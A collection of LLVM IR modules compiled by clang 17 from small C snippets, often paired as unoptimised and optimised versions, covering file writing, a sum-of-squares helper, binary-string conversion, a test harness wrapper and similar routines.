; ModuleID = '<stdin>' source_filename = "/tmp/tmpj6_s9smd.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"SOMA.txt\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"wt\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"rt\00", align 1 @.str.3 = private unnamed_addr constant [35 x i8] c"Houve um erro ao abrir o arquivo.\0A\00", align 1 @.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @EOF = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [18 x i8] c"erro na grava\C3\A7\C3\A3\00", align 1 @.str.6 = private unnamed_addr constant [35 x i8] c"Arquivo soma criado com sucesso.\0A \00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %1, align 4 %9 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1) store ptr %9, ptr %2, align 8 %10 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.2) store ptr %10, ptr %3, align 8 store i32 2, ptr %5, align 4 store i32 3, ptr %6, align 4 %11 = load i32, ptr %5, align 4 %12 = load i32, ptr %6, align 4 %13 = add nsw i32 %11, %12 store i32 %13, ptr %7, align 4 %14 = load i32, ptr %7, align 4 store i32 %14, ptr %8, align 4 %15 = load ptr, ptr %2, align 8 %16 = icmp eq ptr %15, null br i1 %16, label %17, label %19 17: ; preds = %0 %18 = call i32 @printf(ptr noundef @.str.3) store i32 1, ptr %1, align 4 br label %34 19: ; preds = %0 %20 = load ptr, ptr %2, align 8 %21 = load i32, ptr %7, align 4 %22 = call i32 @fprintf(ptr noundef %20, ptr noundef @.str.4, i32 noundef %21) store i32 %22, ptr %4, align 4 %23 = load i32, ptr %4, align 4 %24 = load i32, ptr @EOF, align 4 %25 = icmp eq i32 %23, %24 br i1 %25, label %26, label %28 26: ; preds = %19 %27 = call i32 @printf(ptr noundef @.str.5) br label %28 28: ; preds = %26, %19 %29 = load ptr, ptr %3, align 8 %30 = call i32 @fscanf(ptr noundef %29, ptr noundef @.str.4, ptr noundef %8) %31 = call i32 @printf(ptr noundef @.str.6) %32 = load ptr, ptr %2, align 8 %33 = call i32 @fclose(ptr noundef %32) store i32 0, ptr %1, align 4 br label %34 34: ; preds = %28, %17 %35 = load i32, ptr %1, align 4 ret i32 %35 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpjpc9_zpi.c' source_filename = "/tmp/tmpjpc9_zpi.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpjpc9_zpi.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpfi8rvxpg.c' source_filename = "/tmp/tmpfi8rvxpg.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @sompx(ptr noundef %0, i64 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i64, align 8 %5 = alloca double, align 8 %6 = alloca i64, align 8 %7 = alloca double, align 8 %8 = alloca double, align 8 store ptr %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 store double 0.000000e+00, ptr %5, align 8 %9 = load ptr, ptr %3, align 8 %10 = load i64, ptr %4, align 8 %11 = call double @somx(ptr noundef %9, i64 noundef %10) store double %11, ptr %7, align 8 %12 = load ptr, ptr %3, align 8 %13 = load i64, ptr %4, align 8 %14 = call double @somx2(ptr noundef %12, i64 noundef %13) store double %14, ptr %8, align 8 %15 = load i64, ptr %4, align 8 %16 = load i64, ptr %4, align 8 %17 = sub nsw i64 %16, 1 %18 = mul nsw i64 %15, %17 %19 = sdiv i64 %18, 2 %20 = load i64, ptr %4, align 8 %21 = add nsw i64 %19, %20 store i64 %21, ptr %6, align 8 %22 = load double, ptr %8, align 8 %23 = load double, ptr %7, align 8 %24 = load double, ptr %7, align 8 %25 = fmul double %23, %24 %26 = load i64, ptr %6, align 8 %27 = sitofp i64 %26 to double %28 = fdiv double %25, %27 %29 = fsub double %22, %28 store double %29, ptr %5, align 8 %30 = load double, ptr %5, align 8 ret double %30 } declare double @somx(ptr noundef, i64 noundef) #1 declare double @somx2(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpfi8rvxpg.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @sompx(ptr noundef %0, i64 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i64, align 8 %5 = alloca double, align 8 %6 = alloca i64, align 8 %7 = alloca double, align 8 %8 = alloca double, align 8 store ptr %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 store double 0.000000e+00, ptr %5, align 8 %9 = load ptr, ptr %3, align 8 %10 = load i64, ptr %4, align 8 %11 = call double @somx(ptr noundef %9, i64 noundef %10) store double %11, ptr %7, align 8 %12 = load ptr, ptr %3, align 8 %13 = load i64, ptr %4, align 8 %14 = call double @somx2(ptr noundef %12, i64 noundef %13) store double %14, ptr %8, align 8 %15 = load i64, ptr %4, align 8 %16 = load i64, ptr %4, align 8 %17 = sub nsw i64 %16, 1 %18 = mul nsw i64 %15, %17 %19 = sdiv i64 %18, 2 %20 = load i64, ptr %4, align 8 %21 = add nsw i64 %19, %20 store i64 %21, ptr %6, align 8 %22 = load double, ptr %8, align 8 %23 = load double, ptr %7, align 8 %24 = load double, ptr %7, align 8 %25 = fmul double %23, %24 %26 = load i64, ptr %6, align 8 %27 = sitofp i64 %26 to double %28 = fdiv double %25, %27 %29 = fsub double %22, %28 store double %29, ptr %5, align 8 %30 = load double, ptr %5, align 8 ret double %30 } declare double @somx(ptr noundef, i64 noundef) #1 declare double @somx2(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpyn75e1on.c' source_filename = "/tmp/tmpyn75e1on.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpyn75e1on.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmppx31aqtw.c' source_filename = "/tmp/tmppx31aqtw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmppx31aqtw.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpukmdshe_.c' source_filename = "/tmp/tmpukmdshe_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [16 x i8] c"==START TEST==\0A\00", align 1 @.str.1 = private unnamed_addr constant [14 x i8] c"==END TEST==\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cmain(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i64 %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 %5 = call i32 (...) @init_serial() %6 = call i32 @printf(ptr noundef @.str) %7 = call i32 (...) @test() %8 = call i32 @printf(ptr noundef @.str.1) ret void } declare i32 @init_serial(...) #1 declare i32 @printf(ptr noundef) #1 declare i32 @test(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpukmdshe_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [16 x i8] c"==START TEST==\0A\00", align 1 @.str.1 = private unnamed_addr constant [14 x i8] c"==END TEST==\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cmain(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i64 %0, ptr %3, align 8 store i64 %1, ptr %4, align 8 %5 = call i32 (...) @init_serial() %6 = call i32 @printf(ptr noundef @.str) %7 = call i32 (...) @test() %8 = call i32 @printf(ptr noundef @.str.1) ret void } declare i32 @init_serial(...) #1 declare i32 @printf(ptr noundef) #1 declare i32 @test(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpl311q2pl.c' source_filename = "/tmp/tmpl311q2pl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"1\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"0\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @bin(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %5 = call ptr @malloc(i32 noundef 17) store ptr %5, ptr %3, align 8 %6 = load ptr, ptr %3, align 8 %7 = getelementptr inbounds i8, ptr %6, i64 0 store i8 0, ptr %7, align 1 store i32 32768, ptr %4, align 4 br label %8 8: ; preds = %20, %1 %9 = load i32, ptr %4, align 4 %10 = icmp sgt i32 %9, 0 br i1 %10, label %11, label %23 11: ; preds = %8 %12 = load ptr, ptr %3, align 8 %13 = load i32, ptr %2, align 4 %14 = load i32, ptr %4, align 4 %15 = and i32 %13, %14 %16 = icmp ne i32 %15, 0 %17 = zext i1 %16 to i64 %18 = select i1 %16, ptr @.str, ptr @.str.1 %19 = call i32 @strcat(ptr noundef %12, ptr noundef %18) br label %20 20: ; preds = %11 %21 = load i32, ptr %4, align 4 %22 = ashr i32 %21, 1 store i32 %22, ptr %4, align 4 br label %8, !llvm.loop !6 23: ; preds = %8 %24 = load ptr, ptr %3, align 8 ret ptr %24 } declare ptr @malloc(i32 noundef) #1 declare i32 @strcat(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpl311q2pl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"1\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"0\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @bin(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store i32 %0, ptr %2, align 4 %5 = call ptr @malloc(i32 noundef 17) store ptr %5, ptr %3, align 8 %6 = load ptr, ptr %3, align 8 %7 = getelementptr inbounds i8, ptr %6, i64 0 store i8 0, ptr %7, align 1 store i32 32768, ptr %4, align 4 %8 = load i32, ptr %4, align 4 %9 = icmp sgt i32 %8, 0 br i1 %9, label %.lr.ph, label %24 .lr.ph: ; preds = %1 br label %10 10: ; preds = %.lr.ph, %19 %11 = load ptr, ptr %3, align 8 %12 = load i32, ptr %2, align 4 %13 = load i32, ptr %4, align 4 %14 = and i32 %12, %13 %15 = icmp ne i32 %14, 0 %16 = zext i1 %15 to i64 %17 = select i1 %15, ptr @.str, ptr @.str.1 %18 = call i32 @strcat(ptr noundef %11, ptr noundef %17) br label %19 19: ; preds = %10 %20 = load i32, ptr %4, align 4 %21 = ashr i32 %20, 1 store i32 %21, ptr %4, align 4 %22 = load i32, ptr %4, align 4 %23 = icmp sgt i32 %22, 0 br i1 %23, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %19 br label %24 24: ; preds = %._crit_edge, %1 %25 = load ptr, ptr %3, align 8 ret ptr %25 } declare ptr @malloc(i32 noundef) #1 declare i32 @strcat(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpgrxt46gb.c' source_filename = "/tmp/tmpgrxt46gb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @mdoc_free(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @mdoc_free1(ptr noundef %3) %5 = load ptr, ptr %2, align 8 %6 = call i32 @free(ptr noundef %5) ret void } declare i32 @mdoc_free1(ptr noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpgrxt46gb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @mdoc_free(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @mdoc_free1(ptr noundef %3) %5 = load ptr, ptr %2, align 8 %6 = call i32 @free(ptr noundef %5) ret void } declare i32 @mdoc_free1(ptr noundef) #1 declare i32 @free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpfqg84w_c.c' source_filename = "/tmp/tmpfqg84w_c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = icmp ne i32 %3, 0 %5 = zext i1 %4 to i32 %6 = call i32 @assert(i32 noundef %5) %7 = load i32, ptr %2, align 4 ret i32 %7 } declare i32 @assert(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpfqg84w_c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = icmp ne i32 %3, 0 %5 = zext i1 %4 to i32 %6 = call i32 @assert(i32 noundef %5) %7 = load i32, ptr %2, align 4 ret i32 %7 } declare i32 @assert(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmptnjqk1gn.c' source_filename = "/tmp/tmptnjqk1gn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [82 x i8] c"0423 lpfc_peer_port_login attribute cannot be set to %d, allowed range is [0, 1]\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @test_pr79210() #0 { %1 = alloca i32, align 4 %2 = call i32 @__emit_string_literal_range(ptr noundef @.str, i32 noundef 54, i32 noundef 53, i32 noundef 54) ret void } declare i32 @__emit_string_literal_range(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
